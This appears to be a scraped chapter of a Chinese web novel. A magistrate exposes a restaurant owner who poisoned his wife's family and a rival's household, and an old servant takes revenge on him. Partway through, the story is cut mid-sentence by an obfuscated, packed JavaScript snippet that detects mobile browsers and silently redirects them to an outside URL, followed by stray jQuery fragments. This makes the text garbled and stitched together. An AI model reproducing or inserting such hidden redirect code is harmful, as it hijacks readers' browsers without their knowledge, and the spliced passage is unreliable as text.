马顺才接过小匣子,匣子上原先应该还有把锁,看样子是被敲掉了。
搜寻的官差递上一做工精致的咬齿状锁扣,马顺才扫了眼,掀开盖子,便见一玉色瓷瓶,用红色布绸包着木塞堵住了瓶口。
其下压着的正是制作麻辣烫的秘方。
马顺才举起匣子问道:“这东西在哪里找到的?”
一官差道:“黎兴隆屋内柜子深处,压在衣裳下头。”
马顺才道:“黎老爷,解释一下吧。”
黎兴隆眼中闪过惊惧,对上黎和缮似笑非笑的眼,恍惚道:“是你……”
不等他说完,再度被按下。
马顺才拿出那个瓷瓶,拔出木塞,低头轻轻嗅了几下,并未发觉异常,又找人拿了小茶盏,倒出些仔细查看,瞧着是磨得极细的粉末。
沈慕林声音高高扬起,竟是大骂出口,马顺才被吓一跳,转头看去,沈慕林叫顾湘竹拉住,一双含情眼满是怒气,浑身都在发抖。
顾湘竹边安抚边道:“大人,此前刘麻子往我家投毒,菜筐子里的痕迹和这粉末很是相似。”
马顺才还捏着瓷瓶,闻言睁大了眼,慌慌张张放下。
说起来,那案子也是个糊涂账,他稀里糊涂就给判了。
马顺才连声道:“把黎兴隆押回去。”
他扫了一圈,又道:“等等,黎家两位公子和那位管家都带回去,锁上门,严加看守,不得让任何人跑出去。”
街上围了一圈的人伸着脑袋往黎家这边瞧,待见到黎家老爷被官差押解回衙门,讨论声层层叠叠。
黎兴隆恶狠狠瞪着顾湘竹和沈慕林,他忽而大笑起来:“顾湘竹,你个吃软饭的,你家夫郎与别人同宿,你竟也当作不知?可笑,可笑,一个抛头露面不知廉耻,一个眼瞎多病软弱不堪。”
管差连忙去捂他的嘴,不知黎兴隆哪里来的力气,竟是甩开他们,仰天大笑道:“你就该和两年前一样,夹着尾巴灰溜溜回乡下,说不定还能留下性命,偏要留下,偏要争,偏要争……”
若非如此,他怎会想尽办法与顾家作对,守着那么大一酒楼,犯得着要那新鲜吃食的秘方?
还不是该死的黎风云,拿着人情胁迫,又捏着他的把柄。
对,他们没有证据,就算搜出了九日醉又如何,黎家人口众多,推出一负责屋内洒扫之人就是,他照样是黎老爷。
想到此,黎兴隆总算定下心。
行至府衙,忽见一佝偻着腰的老妇人,妇人步伐沉重缓慢,一点点转过身,踉跄着跪倒在地。
黎兴隆腿肚子发软,踉跄着差点摔倒。
那妇人重重叩首,声音苍老却有力:“民妇邹菡,求官老爷为我家小姐做主。”
一事未平一事又起,马顺才一个脑袋两个大,眼见围观之人众多,他使了个眼色,官差立即拦住人群。
马顺才问道:“你家小姐姓谁名谁?”
邹大娘道:“我家小姐便是郑老爷家独女郑佩菱,有和酒楼便是我由我家老爷经营,民妇要告姓黎的黑心肝,诓骗我家小姐成亲,此后甜言蜜语接替生意,又害死我家小姐和老爷,求大人为我主家申冤。”
马顺才赴任时兴隆饭馆已是县里最大的酒楼,有和酒楼倒是没怎么听过。
他叫人先把邹大娘扶进去,扫了眼颤颤巍巍走路都不稳当的黎兴隆,再去看刚从醉生梦死中找出魂儿的黎和运。
——郑家小姐是黎兴隆的娘子,黎和运的母亲。
这陈年旧事与沈慕林顾湘竹没多少关系,因着还未查明那粉尘与前些日子的毒物是否为同一种,他们便同黎和缮站在一旁等候。
黎和缮脸色沉沉,终不再遮掩地露出些锋芒。
邹大娘从怀里掏出来一物件儿,用好几块粗布帕子包着,她一层层打开,里面有根玉兰花样的玉簪。
“这黑心的将毒药沾在这玉簪上,因用量极少,且并不直接接触皮肤,毒性缓慢,加上我家小姐生产时落下了病根,只当是并未将养好,身体才越发不好。”
马顺才叫人将那证物呈上来,让仵作一一查验,那仵作头发花白,是见多识广之人,却是眉头紧锁,过了两柱香才将结果呈上。
“九日醉?”
黎兴隆一惊,慌乱摇头,呢喃道:“不可能,不可能,没有人会知道,没人会知道。”
黎和缮抬眸低声道:“自欺欺人。”
那仵作解释完九日醉之毒性,堂上堂下寂静无声,落针可闻。
不时堂下便交谈声阵阵,自然是想起小二十年前那郑家的盛况,又叹一家人可怜。
自郑小姐离世后,郑老爷便一蹶不振,不久也撒手人寰,原来皆是黎兴隆这黑心豺狼所为。
马顺才看着强装镇定的黎兴隆,厉声质问:“黎兴隆,你可认罪?”
他话音刚落,邹大娘脚下似生了风,全然不像是身躯佝偻的老妪,快步冲到黎兴隆面前。
黎兴隆被她死死盯着,似被利刃划过,浑身冒起鸡皮疙瘩:“郑嬷嬷,我……我是……”
脖颈处忽传来一阵痛,他愣愣摸过去,手上便沾染了血,变故发生太快,众人皆是倒吸口冷气。
邹大娘已被官差按下,她扯着嘴角笑起来,苍老无神的眼中满是大仇得报的痛快。
“她是我一口一口奶大的,那么点长到为人妇为人母,夫人过世前我应了要照顾好小姐,可你,你这黑心的,骗她,害她,连我小姐的孩子也让你养得不成样子,我被逼出府,你竟还想杀了我,杀了我的夫婿和一双儿女,我们只得背井离乡躲去外州。”
她盯着黎兴隆脖颈间流下的黑血,大笑道:“黎兴隆,你这人心肠烂透了,下地府叫阎王爷判你吧!”
随着她被按下,手上的东西掉落在地,原是一根尖端削得锋利无比的木簪。
“九日醉的滋味如何?”邹菡落下眼泪,她望着外头变阴的天,闭上眼,许久才睁开。
黎兴隆顿时变了脸色:“不可能,你怎么有?”
邹菡挣开官差,掏出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153619|160846||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一有些年头的脂粉盒子,黎兴隆跌倒在地,满眼皆是惊惧。
马顺才叫人呈上脂粉盒子,仵作仔细查验,其中确有那毒物。
邹菡道:“我家主子年岁渐涨,想要将酒楼交于徒弟打理,被黎兴隆得知,于是便将毒物掺进水粉中,我家小姐不久便急症离世。”
黎兴隆忽然爬起,踉踉跄跄跪在顾湘竹面前,慌乱着想要拉他衣角:“顾秀才,顾秀才,你救救我,救救我,并非我要针对你家,你救救我,我告诉你一个秘密,我们交换,交换……”
沈慕林挡在顾湘竹面前,冷笑道:“我家相公一介书生,哪里懂得医术,黎老爷找错人了。”
黎兴隆再也不顾不上其他:“他也中了毒,还能活到今日,只伤了眼睛,定然知晓药方,林哥儿,沈夫郎,是我错了,你别计较,救救我吧。”
这话一出口,刚从震惊中缓过神儿的百姓又是一惊,顾秀才那双眼竟是因着中了毒?
马顺才越发头疼,叫人先按住黎兴隆,潦草按着伤口止血,又派人去寻郎中。
“邹菡,你可有证人?”
柳仵作敲了敲小匣子:“”大人,这匣子应当有夹层。”
从堂下走进两位官差,提鸡崽子似的提着个头发花白的老翁。
“大人,这人鬼鬼祟祟躲在花园假山中,又想钻狗洞逃跑,行迹十分可疑。”
邹菡磕头道:“他便是府医,因我家小姐体弱,黎兴隆便说聘一府医,专为我家小姐调养身体,不曾想竟是为着瞒天过海。”
黎兴隆看清那老翁面孔,一口气吸不上来,竟然昏死过去。
马顺才拍下惊堂木,老翁哆嗦着跪倒在地,立刻便事情圆头圆尾交代:“大人,我是被逼的,我有一家老小要吃喝,黎家扣下我家人,我不得不……不得不为他们做事。”
柳仵作也寻出了夹层,其中藏着的便是黎兴隆与他道士定下的契书,何时何日用药几瓶,最早便是二十年前,正是郑家小姐香消玉殒之际。
最近的是两年前,定了两瓶。
“还有一瓶呢?”
堂下人一看我我看你,马顺才额角发疼:“把他弄醒!”
官差立即去掐黎兴隆人中穴,却是无济于事,柳仵作连忙上前,掀开黎兴隆眼皮,又拎起他双手查看:“大人,毒性发作了,怕是难以存活。”
马顺才道:“提黎圆,刘麻子,叫他们来指认。”
不多时,两人戴着镣铐被押进来,黎圆原还想说谎,待看清那瓷瓶,腿肚子便打起哆嗦。
终于全数交代,他是受黎兴隆指使,诓骗刘麻子为泻药,让刘麻子下到顾家吃食中,将事情闹得越大越好。
事情到此,已尘埃落定,马顺才将黎兴隆等人羁押,待来日再行细审定刑。
邹菡被押下去前,看向侧边站着的几人,目光柔和:“公子,好好活。”
黎和运一抖,忽道:“阿嬷,你为何今日要指认一遭?”
邹菡笑了下,不曾回答便随官差而去。